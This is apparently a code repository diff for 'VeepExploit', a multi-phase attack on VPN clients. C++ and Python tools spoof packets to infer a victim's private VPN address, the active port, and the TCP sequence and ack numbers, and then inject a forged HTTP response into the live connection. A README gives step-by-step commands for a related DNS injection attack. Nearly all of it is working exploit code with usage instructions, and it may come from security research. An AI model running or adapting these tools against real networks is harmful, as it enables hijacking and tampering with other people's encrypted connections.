* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#include <iostream>
#include <iomanip>
#include <vector>
#include <set>
#include <string>
#include <cstdlib>
#include <pthread.h>
#include <unistd.h>
#include <tins/tins.h>
#include <tins/ip.h>
#include <tins/tcp.h>
#include <tins/ip_address.h>
#include <tins/ethernetII.h>
#include <tins/network_interface.h>
#include <tins/sniffer.h>
#include <tins/utils.h>
#include <tins/packet_sender.h>
using std::cout;
using std::endl;
using std::vector;
using std::pair;
using std::setw;
using std::string;
using std::set;
using std::runtime_error;
using namespace Tins;
typedef pair<Sniffer*, string> sniffer_data;
std::string vip;
std::string gwip;
bool verbose = false;
class Scanner {
public:
Scanner(NetworkInterface& interface,
std::string dest_mac,
std::string source_mac,
std::string gateway_ip,
std::string private_ip,
std::string private_ip_subnet_mask,
int sport,
int dport);
void run();
private:
void send_synacks();
bool callback(PDU& pdu);
static void* thread_proc(void* param);
void launch_sniffer();
NetworkInterface iface;
std::string dst_mac;
std::string src_mac;
std::string src_ip;
std::string victim_ip;
std::string victim_subnet;
int sport;
int dport;
Sniffer sniffer;
};
Scanner::Scanner(NetworkInterface& interface,
std::string dest_mac,
std::string source_mac,
std::string gateway_ip,
std::string private_ip,
std::string private_ip_subnet_mask,
int src_port,
int dst_port) : iface(interface), dst_mac(dest_mac), src_mac(source_mac), src_ip(gateway_ip), victim_ip(private_ip), victim_subnet(private_ip_subnet_mask), sport(src_port), dport(dst_port),sniffer(interface.name()) {
}
void* Scanner::thread_proc(void* param) {
Scanner* data = (Scanner*)param;
data->launch_sniffer();
return 0;
}
void Scanner::launch_sniffer() {
sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback));
}
/* Our scan handler. This will receive SYN-ACKS and inform us
* the scanned port's status.
*/
bool Scanner::callback(PDU& pdu) {
// Find the layers we want.
const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
const TCP &tcp = pdu.rfind_pdu<TCP>(); // Grab TCP layer
static int total_seen = 0;
if (ip.src_addr().to_string().rfind("10.", 0) == 0 && tcp.sport() != 22) {
if (verbose) std::cout << "Victim IP is:";
std::cout << ip.src_addr() << "\n";
vip = ip.src_addr();
total_seen += 1;
if (total_seen > 0) {
return false;
}
}
return true;
}
void Scanner::run() {
pthread_t thread;
// Launch our sniff thread.
pthread_create(&thread, 0, &Scanner::thread_proc, this);
// Start sending SYNs to port.
send_synacks();
// Wait for our sniffer.
void* dummy;
pthread_join(thread, &dummy);
}
// Send syn acks to the given ip address, using the destination ports provided.
void Scanner::send_synacks() {
// Retrieve the addresses.
PacketSender sender;
IPv4Range ip_range = IPv4Range::from_mask(victim_ip, victim_subnet);
for (const IPv4Address &addr : ip_range) {
EthernetII pkt = EthernetII(dst_mac, src_mac) / IP(addr, src_ip) / TCP(dport, sport);
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::ACK, 1);
tcp.set_flag(TCP::SYN, 1);
if (verbose) std::cout << "Sending to IP:" << addr << std::endl;
sender.send(pkt, iface);
sender.send(pkt, iface);
usleep(10);
}
}
void scan(int argc, char* argv[]) {
std::string dst_mac = argv[1]; // victim MAC address
std::string src_mac = ""; // src mac does not matter
std::string private_ip_subnet = argv[2];
std::string private_ip_subnet_mask = argv[3];
gwip = argv[4]; // IP of server that client is talking to
int sport = 80; // source, dest port for phase-1 are arbitrary
int dport = 80;
IPv4Address ip(gwip);
// Resolve the interface which will be our gateway
NetworkInterface iface(ip);
if (verbose) cout << "Sniffing on interface: " << iface.name() << endl;
// Consume arguments
Scanner scanner(iface, dst_mac, src_mac, gwip, private_ip_subnet,
private_ip_subnet_mask, sport, dport);
scanner.run();
}
int main(int argc, char* argv[]) {
if (argc != 6) {
std::cout << "usage: ./send <DST_MAC> <PRIVATE IP SUBNET> <PRIVATE IP SUBNET MASK> <SOUCE IP> <IFACE>\n";
exit(-1);
}
try {
scan(argc, argv);
}
catch(runtime_error& ex) {
cout << "Error - " << ex.what() << endl;
}
}
155
client-side-attack/first_phase/slow_p1.py
@ -0,0 +1,155 @@
#!/usr/bin/env python3
from scapy.all import *
import ipaddress
from threading import Thread, Event
from time import sleep
import os
#
#
#
#
# Thread classes for sniffing
#
# Sniffer Class all grabbed from https://www.cybrary.it/0p3n/sniffing-inside-thread-scapy-python/
class Sniffer(Thread):
def __init__(self, iface="en0"):
super().__init__()
self.daemon = True
self.vpn_addr = None
self.current_phase = 1
self.spoof_count = 0
self.spoof_port = 0
self.socket = None
self.iface = iface
self.stop_sniffer = Event()
def run(self):
self.socket = conf.L2listen(
type=ETH_P_ALL,
iface=self.iface,
filter="ip"
)
sniff(
opened_socket=self.socket,
prn=self.handle_packet,
)
def join(self, timeout=None):
self.stop_sniffer.set()
super().join(timeout)
def get_vpn_addr(self):
return self.vpn_addr
def set_phase(self, phase):
self.current_phase = phase
def check_for_req(self, packet):
ip_layer = packet.getlayer(IP)
# for phase 1 (on ubuntu 19) we wanna look for a reset
# with source of private vpn address and dest of gateway
if self.current_phase == 1:
if "10." in ip_layer.src:
if ip_layer.src == self.vpn_addr:
print("multiple matches for: " + str(self.vpn_addr))
# could make the scan stop after this point but
# only takes a second or two to finish up
print("Victim private ip is: " + str(ip_layer.src))
self.vpn_addr = ip_layer.src
def handle_packet(self, packet):
#ip_layer = packet.getlayer(IP)
#print("[!] New Packet: {src} -> {dst}".format(src=ip_layer.src, dst=ip_layer.dst))
# if its not an SSH packet then check for challenge acks
#
if TCP in packet:
tcp_sport = packet[TCP].sport
tcp_dport = packet[TCP].dport
if (tcp_sport != 2222 and tcp_dport != 2222) or (tcp_sport != 22 and tcp_dport != 22):
self.check_for_req(packet)
############
def phase_one_spread(gateway_ip, dst_net, iface="en0", edst="08:00:27:5c:c9:d1",
sport=50505, dport=443, flags="SA"):
pieces = gateway_ip.split('.')
src = pieces[0] + '.' + pieces[1] + '.' + pieces[2] + '.1'# should be gateway of LAN
src = gateway_ip
eth = Ether(dst=edst)
tcps = TCP(sport=sport,dport=dport,flags=flags) # src and dst ports don't matter
for ip in ipaddress.IPv4Network(dst_net + '/24'):
print('{} to: {}'.format(flags, str(ip)))
ip_pack = IP(src = src, dst = str(ip))
sendp(eth/ip_pack/tcps, iface=iface, count=2, verbose=0)
print("\nFinished spreading to private address space.")
def main():
if len(sys.argv) < 5:
print("Usage:\n{} {} {} {} {} [{}] [{}]".format(
sys.argv[0], "<GATEWAY_IP>", "<VPN SUBNET>", "<IFACE>", "<VICTIM_MAC>",
"<SPORT>", "<>"))
exit(-1)
gateway_ip = sys.argv[1]
vpn_net = sys.argv[2]
iface = sys.argv[3]
edst = sys.argv[4]
if len(sys.argv) == 6:
sport = int(sys.argv[5])
else:
sport = 50505
if len(sys.argv) == 7:
dport = int(sys.argv[6])
else:
dport = 443
if len(sys.argv) == 8:
flags = sys.argv[7]
else:
flags = "SA"
sniffer = Sniffer(iface=iface)
sniffer.start()
## Phase 1 - spread private address range passed in
#
sleep(.5)
print("Scanning entire dest net " + str(vpn_net))
phase_one_spread(gateway_ip, str(vpn_net),
iface=iface, edst=edst,
sport=sport, dport=dport, flags=flags)
vpn_addr = sniffer.get_vpn_addr()
print('Completed phase one and found client has private VPN address: ' + str(vpn_addr) + '\n\n')
if __name__ == '__main__':
main()
12
client-side-attack/rebuild_all.sh
@ -0,0 +1,12 @@
echo "Remaking each attack phase script..."
cd ./first_phase
make
cd ../sec_phase
make
cd ../third_phase
make
echo "Finished building attack scripts."
2
client-side-attack/sec_phase/Makefile
@ -0,0 +1,2 @@
all:
g++ -O3 -o send_p2 send.cpp -lpthread -ltins -std=c++11
241
client-side-attack/sec_phase/send.cpp
@ -0,0 +1,241 @@
#include <tins/tins.h>
#include <cassert>
#include <iostream>
#include <string>
#include <unistd.h>
#include <thread>
using std::thread;
using std::cout;
using std::string;
using namespace Tins;
int current_spoof_port, best_port, chack_count;
bool sniffed_chack = false;
bool is_running = true;
bool verbose = false;
bool count_chacks = false;
bool quick_mode = true; // if true we don't recheck the port
int num_sent = 0;
string victim_wlan_addr;
string remote_addr;
void print_divider(int count) {
int i = 0;
while (i < count) {
if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
i++;
}
}
bool handle_packet(PDU &some_pdu) {
const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
// keep track of the last port we spoofed
if (ip.src_addr() == remote_addr) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
if (ip.src_addr() == victim_wlan_addr) { // the packet is a response from the client
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
//cout << "sniffed something: " <<payload << "\n";
const int remainder = payload % 67; // 67 is the size of encrypted resets on ubuntu
if (remainder != 0) {
//cout << "\nsniffed something important - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
// If it's not working as expected, uncomment the line above to
// check what the typical remainder is looking like as it scans the
// port range. In this case, ubuntu 19, if you uncomment the line above
// it would repeatedly sniff 41 packets until the correct port, then it
// would sniff a 48 packet
if (remainder != 41 && (remainder == 40 || remainder == 48)) { // the size of the remainder could change per OS
if (verbose) cout << "sniffed chack - port : " << (current_spoof_port) << ", remainder : " << remainder <<", full size: " << payload << "\n";
if (count_chacks) chack_count ++;
if (verbose) cout << "some other val: " << ((payload - 79) % 67) << "\n";
if (!sniffed_chack) {
sniffed_chack = true;
best_port = current_spoof_port;
}
}
}
}
return is_running;
}
void sniff_stuff() {
SnifferConfiguration config;
config.set_promisc_mode(true);
Sniffer sniffer("wlp1s0", config);
sniffer.sniff_loop(handle_packet);
}
bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
count_chacks = true;
chack_count = 0;
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(possible_port, sport);
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::SYN, 1);
int count = 0;
usleep(1000000 / 2);
while (count < num_checks) {
sender.send(pkt, iface);
usleep(1000000 / 2); // must sleep half second due to chack rate limit
count ++;
}
usleep(1000000);
// should have just sniffed as many chacks as we just sent
if (verbose) cout << "end of rechack, count : " << chack_count << ", should be: " << num_checks << " \n";
if (chack_count >= num_checks) {
return true;
}
count_chacks = false;
num_sent += count;
return false;
}
// Spreads SYNs across the victim's entire port range
// coming from a specific remote_ip:port
//
int phase_two_spread(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
int start_port = 39000;//32768; // typical Linux ephemeral port range - (32768, 61000)
int end_port = 42000;//61000;
int i;
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(40404, sport);
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::SYN, 1);
int current_port = best_port;
for (i = start_port; i < end_port; i ++) {
tcp.dport(i); // set the packets dest port to current guess
sender.send(pkt, iface);
num_sent ++;
usleep(10);
}
usleep(1000000); // sleep to give victim time to respond w chack
current_port = best_port;
if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";
// In round 1 we spoofed fast (10 sleep) to get a good estimate of the
// port in use. Round 2, we spoof slower from about 50 packets back to account
// for the delay in response and hopefully get the exact port number in use
print_divider(1);
usleep(1000000 / 2);
sniffed_chack = false;
int j;
int send_delay = 300;
if (verbose) cout << "Starting round 2 spread from: " << (current_port - send_delay) << " to " << current_port << "\n";
for (j = (current_port - send_delay); j < current_port; j++) {
tcp.dport(j); // set the packets dest port to current guess
sender.send(pkt, iface);
num_sent ++;
usleep(600 * 5);
}
usleep(1000000);
if (verbose) cout << "finished round 2 w guessed port: " << best_port << "\n";
return best_port;
}
int find_port(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
bool is_found = false;
int current_port = 0;
while (!is_found) {
current_port = phase_two_spread(dest_mac, src_mac, remote_addr, sport, victim_ip);
print_divider(1);
if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
cout << current_port << "\n";
if (quick_mode) {
is_found = true;
} else {
is_found = rechack(2, current_port, dest_mac, src_mac, remote_addr, sport, victim_ip);
}
}
return current_port;
}
int main(int argc, char** argv) {
if (argc != 5 && argc != 6) {
cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr)\n";
return 0;
}
remote_addr = argv[1];
int sport = atoi(argv[2]);
victim_wlan_addr = argv[3];
string dest_ip = argv[4];
//verbose = true;
string dest_mac = argv[5];
string src_mac = "";
print_divider(2);
thread sniff_thread(sniff_stuff);
int p = find_port(dest_mac, src_mac, remote_addr, sport, dest_ip);
is_running = false;
sniff_thread.detach();
//sniff_thread.join();
print_divider(1);
if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";
cout << p << "\n";
return p;
}
2
client-side-attack/third_phase/Makefile
@ -0,0 +1,2 @@
all:
g++ -O3 -o send_p3 send.cpp -lpthread -ltins -std=c++11
694
client-side-attack/third_phase/send.cpp
@ -0,0 +1,694 @@
#include <tins/tins.h>
#include <cassert>
#include <iostream>
#include <string>
#include <unistd.h>
#include <thread>
using std::thread;
using std::cout;
using std::vector;
using namespace Tins;
long current_spoof_seq;
long current_spoof_ack;
long current_min_ack;
long best_seq = 0;
long best_ack;
vector<long> possible_seqs;
vector<long> possible_acks;
int num_sent = 0;
int current_round = 1;
bool ack_search = false;
bool track_nums = false;
bool count_chacks = false;
bool sniffed_chack = false;
bool show = false;
bool testing = true; // if using netcat set to true, else false
int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
std::string victim_wlan_addr, dest_ip, remote_addr;
int sport, dport, request_size, chack_count;
std::string dest_mac; // victim mac addr
std::string src_mac = ""; // src mac doesn't matter
void print_divider(int count) {
int i = 0;
while (i < count) {
cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
i++;
}
}
int inject_junk(long exact_seq, long in_win_ack) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>";
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(message);;
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::PSH, 1);
tcp.set_flag(TCP::ACK, 1);
tcp.seq(exact_seq);
tcp.ack_seq(in_win_ack);
print_divider(2);
cout << "attempting to inject garbage into the connection..\n";
cout << "injected seq: " << exact_seq << ", in-win ack: " << in_win_ack << "\n";
sender.send(pkt, iface);
num_sent ++;
return 1;
}
// Send the same probe a number of times
// to see if the same amount of responses are
// triggered from the client
//
bool rechack(long seq, long ack, int num_checks) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
count_chacks = true;
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
TCP& tcp = pkt.rfind_pdu<TCP>();
if (ack == 0) {
tcp.set_flag(TCP::RST, 1);
} else {
tcp.set_flag(TCP::PSH, 1);
tcp.set_flag(TCP::ACK, 1);
tcp.ack_seq(ack);
}
tcp.seq(seq);
chack_count = 0;
int count = 0;
usleep(1000000 / 2);
while (count < num_checks) {
sender.send(pkt, iface);
num_sent ++;
usleep(1000000 / 2 * 1.2); // must sleep half second due to chack rate limit
count ++;
}
usleep(1000000);
// should have just sniffed as many chacks as we just sent
cout << "end of rechack, count was: " << chack_count << ", should be: " << num_checks << " \n";
if (chack_count >= num_checks) {
return true;
}
count_chacks = false;
return false;
}
// Use the fact the client will respond to empty PSH-ACKs
// that have an in window ack AND a sequence number less than the exact
// next expected sequence, with chall-acks to infer exact sequence num
//
long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::PSH, 1);
tcp.set_flag(TCP::ACK, 1);
tcp.ack_seq(in_win_ack);
count_chacks = false;
track_nums = false;
long min_seq = in_win_seq - 200; // assuming the in_window_seq is within 200 of the left edge of window
sniffed_chack = false;
long curr_seq = in_win_seq;
// Continually decrement the in window sequence number
// until we sniff a chack which means we just passed the
// left edge of the sequence window
//
print_divider(1);
bool is_found = false;
while (!is_found) {
long j = curr_seq;
sniffed_chack = false;
while (j > min_seq && !sniffed_chack) {
usleep(send_delay);
cout << "spoofing with seq: " << j << "\n";
tcp.seq(j);
sender.send(pkt, iface);
num_sent ++;
j -= 1;
}
usleep(100000);
curr_seq = best_seq;
cout << "best seq at end of exact scan: " << curr_seq << "\n";
print_divider(1);
is_found = rechack(curr_seq, in_win_ack, 2);
if (show) cout << "exact seq was in win after rechack? " << is_found << "\n";
}
return curr_seq;
}
// Use the fact the client will respond to empty PSH-ACKs
// that have an in window sequence number AND ack number less than the
// ack number in use with chall-acks to infer an in-window ack number
//
long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
// Loop over ack space sending empty push-acks
// that user the in window sequence number found before
//
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::PSH, 1);
tcp.set_flag(TCP::ACK, 1);
tcp.seq(in_win_seq);
sniffed_chack = false;
chack_count = 0;
count_chacks = true;
track_nums = true;
current_min_ack = min_ack;
long j = max_ack;
long current_ack = 0;
best_ack = 0;
while (j > min_ack && chack_count < chack_trigs) { // was && !sniffed_chack
usleep(send_delay);
tcp.ack_seq(j);
sender.send(pkt, iface);
num_sent ++;
if (verbose && show) cout << "spoofing with ack: " << j << "\n";
if (j < 100000000) { // for tiny ack range
j -= block_size / 100;
} else {
j -= block_size;
}
}
usleep(100000);
for (int i = 0; i < possible_acks.size(); i ++) {
long cack = possible_acks[i];
if (cack > current_ack) current_ack = cack;
}
cout << "best ack at end of ack scan: " << current_ack << "\n";
track_nums = false;
return current_ack;
}
// Finds the "quiet" portion of the ack range to
// start scanning and then begins to find an approx
// ack block close to the one being used
//
long quack_spread(long in_win_seq) {
cout << "starting quack spread w seq: " << in_win_seq << "\n";
long start_ack_guess = 4294967294 / 2;
long end_ack_guess = 100;
long block_size = 100000000;
sniffed_chack = false; // assume its gonna find an ack here first
// if the actual ack is less than half of the max_ack allowed,
// then it will consider acks at the very top end of the ack space (~429.....)
// to be less than that small ack. therefore, we check if the max ack
// triggers chacks right away, if so then we half the start_ack guess (~214....)
bool triggering = rechack(in_win_seq, start_ack_guess, 3);
cout << "is ack in upper half? " << triggering << "\n";
if (triggering) { // then we know the ack is in the lower half of the ack space
start_ack_guess = start_ack_guess * 2;
}
long j = start_ack_guess;
sniffed_chack = false;
print_divider(1);
// Now continually decrement ack until we trigger another chack
//
int send_delay = 75000;
bool is_found = false;
long current_ack = 0;
while (!is_found) {
current_ack = find_ack_block(start_ack_guess, 0, in_win_seq, block_size, send_delay, true, 1);
cout << "finished quiet block spread, guessed quiet block ack: " << current_ack << "\n";
print_divider(1);
// recheck and send multiple to make sure we found correct ack block
is_found = rechack(in_win_seq, current_ack, 2);
if (show) cout << "was in win after rechack? " << is_found << "\n";
if (!is_found) start_ack_guess = current_ack;
}
return current_ack;
}
// Use the fact the client will respond to RSTs
// with an in-window sequence number with chall-acks to
// infer an in-window seq number
//
long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
long max_seq = top_seq;
long adder = prev_block_size * delay_mult;
cout << "starting round " << current_round << " spread at: " << (max_seq - adder) << "\n";
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport);
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::RST, 1);
long i;
for (i = (max_seq - adder); i < max_seq; i += new_block_size) {
tcp.seq(i);
sender.send(pkt, iface);
num_sent ++;
usleep(send_delay);
}
cout << "finished round " << current_round << " spread, guessed in window seq: " << best_seq << "\n";
return best_seq;
}
// Attempt to sniff challenge acks while recording
// the last sequence or ack number we spoofed
//
bool handle_packet(PDU &some_pdu) {
const IP &ip = some_pdu.rfind_pdu<IP>();
if (ack_search) {
// keep track of the last ack num we spoofed
if (ip.src_addr() == remote_addr) current_spoof_ack = some_pdu.rfind_pdu<TCP>().ack_seq();
if (ip.src_addr() == victim_wlan_addr) {
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
//cout << payload << "\n";
if (payload == 79) { // each triggered chall-ack is 79 length SSL vs ovpn and ubuntu 19
if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n";
if (count_chacks) chack_count += 1;
if (track_nums) possible_acks.push_back(current_spoof_ack);
if (current_spoof_ack > current_min_ack) best_ack = current_spoof_ack;
sniffed_chack = true;
}
}
} else if (sniff_request == 1) {
// sniffing for a certain client request size (last step after finding seq and ack)
if (ip.src_addr() == victim_wlan_addr) {
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
cout << "sniffed cli request of size " << payload << "\n";
if (payload == request_size) {
sniff_request = 2;
}
}
} else { // sniffing for chack during sequence search
// keep track of the last sequence num we spoofed
if (ip.src_addr() == remote_addr) current_spoof_seq = some_pdu.rfind_pdu<TCP>().seq();
if (ip.src_addr() == victim_wlan_addr) {
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
//cout << payload << "\n";
const int remainder = payload % 67;
if (payload == 79) {
if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n";
if (track_nums) {
best_seq = current_spoof_seq;
possible_seqs.push_back(current_spoof_seq);
} else if (count_chacks) { //
chack_count += 1;
best_seq = current_spoof_seq;
} else {
if (!sniffed_chack) {
if (best_seq == 0) { // still in initial seq spread
best_seq = current_spoof_seq;
sniffed_chack = true;
} else {
// make sure new seq is less than the previous sniffed one
if (current_spoof_seq < best_seq) {
best_seq = current_spoof_seq;
sniffed_chack = true;
}
}
}
}
}
}
}
return true;
}
void sniff_stuff() {
SnifferConfiguration config;
config.set_promisc_mode(true);
Sniffer sniffer("wlp1s0", config);
sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
}
// Try to find an in window sequence number using
// one of the very rough estimates found in the first
// sequence spread
long try_seq_block(long current_seq) {
// Just did round 1 spoofing fast to get rough estimate of
// in window sequence number, now we send a round 2 and 3 spreads
// using the approximated seq with lower send rates
current_round = 2;
sniffed_chack = false;
int wait_count = 0;
best_seq = current_seq;
usleep(1000000 / 2);
// this will take into account the last block size of 50k,
// skip in blocks of 1055 seq nums per send, assume the last
// rounds delay was 80 packets for a response, and send every 150 msecs
long s1 = find_seq_block(50000, 1055, 80, 150, current_seq);
while (best_seq == current_seq) {
usleep(500000);
if (show) cout << "waiting on round 2 chack..\n"; // return -1 if waiting too long
wait_count +=1;
if (wait_count > 5) return -1;
}
// Now we should have a close estimate to an in-window seq
// so next do a third scan at much slower rate to ensure its
// an in-window sequence num
print_divider(1);
usleep(1000000 / 2);
sniffed_chack = false;
current_round += 1;
current_seq = best_seq;
wait_count = 0;
long s2 = find_seq_block(1055, 20, 50, 600, current_seq); // for browser went from 300 to 600
while (best_seq == current_seq) {
usleep(500000);
if (show) cout << "waiting on round 3 chack..\n";
wait_count +=1;
if (wait_count > 5) return -1;
}
return best_seq - 10000; // subtract 10k for wifi delay
}
// Gets rough estimate of sequence number in use
// by spreading entire sequence range quicly then
// tries to find in win sequence using each
//
long find_in_win_seq() {
PacketSender sender;
NetworkInterface iface("wlp1s0");
long start_seq_guess = 1;
long max_seq_num = 4294967295;
track_nums = true; // phase 1 is so fast it sniffs false seq nums so we try each
cout << "spreading the connections entire sequence number range...\n";
usleep(1000000 / 2);
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport);
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::RST, 1);
long i;
for (i = start_seq_guess; i < max_seq_num; i += 50000) { // sends to the whole sequence num space
tcp.seq(i);
sender.send(pkt, iface);
num_sent ++;
usleep(10);
}
usleep(1000000);
cout << "finished round 1 spread, guessed in window seq: " << best_seq << "\n";
track_nums = false;
int j = 0;
long in_win_seq = -1;
while (j < possible_seqs.size() && in_win_seq == -1) { // try each possible seq block
print_divider(1);
current_round = 0;
if (show) cout << "trying to find in window seq around " << possible_seqs[j] << "\n";
in_win_seq = try_seq_block(possible_seqs[j]);
j ++;
if (show) cout << "in win seq after try? " << in_win_seq << "\n";
usleep(1000000 / 2);
}
possible_seqs.clear();
track_nums = false;
print_divider(1);
usleep(1000000 / 2);
return best_seq;
}
// Send two spoof rounds while increasing the send delay and
// decreasing block size to quickly get in-win ack estimate
//
long find_in_win_ack(long in_win_seq) {
// quack should be below current ack in use but we only rechack once first round
ack_search = true;
long quack = quack_spread(in_win_seq);
// Spoof empty PSH-ACKs starting at 'quack' plus some send delay
// until we sniff a chack and know we just went below the left
// edge of the ack window
usleep(1000000);
print_divider(1);
possible_acks.clear();
long block_size = 10000;
int send_delay = 500;
long max_ack = quack + (1 * 100000000);
long min_ack = quack;
long clack;
bool is_found = false;
while (!is_found) { // retry ack scan until we find block triggering chacks
cout << "starting round 1 ack scan w min: " << min_ack << " and max: " << max_ack << "\n";
clack = find_ack_block(max_ack, min_ack, in_win_seq, block_size, send_delay, false, 2);
is_found = rechack(in_win_seq, clack, 2);
if (show) cout << "was in win after rechack? " << is_found << "\n";
int i = 0;
while (!is_found && i < possible_acks.size()) {
long some_ack = possible_acks[i];
if (show) cout << "finished ack scan 1 w possible in window ack: " << some_ack << "\n";
print_divider(1);
is_found = rechack(in_win_seq, some_ack, 2);
if (show) cout << "was in win after rechack? " << is_found << "\n";
i ++;
if (is_found) clack = some_ack;
}
max_ack = clack;
}
possible_acks.clear();
usleep(1000);
// clack should be an in window ack so now we have both in window
// sequence and in window ack numbers.
//
ack_search = false;
track_nums = false;
// clack has been consistently within 40k of next ack while testing but
// in practical use it needs to be less than the expected ack by at most
// 20k to be accepted as a valid ack, so here we add 20k to counter our delay
// but we could add a third ack scan to make it more accurate
//
long in_win_ack = clack + 30000; // adding extra 30k for wifi delay
return in_win_ack;
}
// After we've found exact seq and in-win ack, attacker waits
// for a specific request size to inject the response into
//
int wait_for_request(long exact_seq, long in_win_ack) {
sniff_request = 1;
int res = 0;
while (sniff_request != 2) {
usleep(500000);
if (show) cout << "waiting for request of size..\n";
}
if(show) cout << "Sniffed request packet to respond to\n";
res = inject_junk(exact_seq, in_win_ack);
return res;
}
// Attempt to infer the exact sequence number
// and in-window ack in use by the connection
//
int phase_three_spread() {
bool is_found = false;
long in_win_seq = 0;
// Loop until we find in window seq
while (!is_found) {
in_win_seq = find_in_win_seq();
print_divider(1);
is_found = rechack(in_win_seq, 0, 2);
cout << "approx seq: " << in_win_seq << " was in win after rechack? " << is_found << "\n";
if (!is_found) usleep(1000000 / 2);
}
// At this point we should have an in-window sequence number and
// next step is to find an in-window ack number for the connection
//
usleep(1000000 / 2);
long in_win_ack = find_in_win_ack(in_win_seq);
in_win_ack += 40000; // add 40k for wifi delay
cout << "scanning for exact sequence num w in-win ack: " << in_win_ack << "\n";
// jump back 40 for wifi delay
long exact_seq = find_exact_seq(in_win_seq - 40, in_win_ack, 100000) + 1; // should be one less than left edge
cout << "final exact seq guess: " << exact_seq << "\n";
cout << "total number of packets sent: " << num_sent << "\n";
print_divider(2);
int res = 0;
if (testing) { // for netcat
res = inject_junk(exact_seq, in_win_ack);
} else { // for normal http injection
cout << "waiting for client to request any page within inferred connection...";
res = wait_for_request(exact_seq, in_win_ack);
}
return res;
}
int main(int argc, char** argv) {
if (argc != 8) {
cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size)\n";
return 0;
}
remote_addr = argv[1];
sport = atoi(argv[2]);
victim_wlan_addr = argv[3];
dest_ip = argv[4];
dest_mac = argv[5];
dport = atoi(argv[6]);
request_size = atoi(argv[7]);
thread sniff_thread(sniff_stuff);
print_divider(2);
int r = phase_three_spread();
sniff_thread.detach();
//sniff_thread.join();
return 0;
}
BIN
demos/fb-mitm-firefox.mp4
BIN
demos/nsl-brack.mp4
BIN
demos/wa-jack.mov
83
old-readme
@ -0,0 +1,83 @@
# VeepExploit
The current version of VPN attack code
##### Attack Machine Environment
* C++
* libtins (http://libtins.github.io/download/)
## Server-side attack
#### Requirements
* VPN client connected to a VPN server
* Attack machine sitting somewhere in between VPN server and client forwarding all traffic between the two
***Note:*** Full virtual test environment setup for the server-side attack is detailed in the README within the `virt-lab` folder
#### Running the DNS Attack Script
1. Change to udp-dns attack folder - `cd other-end-attack/dnuss/full_scan`
2. Compile attack script - `make`
3. Check to make sure vpn server has a conntrack entry for some vpn client's dns lookup (on vpn-server vm): `sudo conntrack -L | grep udp`
3. Try to inject from attack router - `sudo ./uud_send <dns_server_ip> <src_port (53)> <vpn_server_ip> <start_port> <end_port>`
## Client-side attack
#### Requirements
* VPN client connected to a VPN server
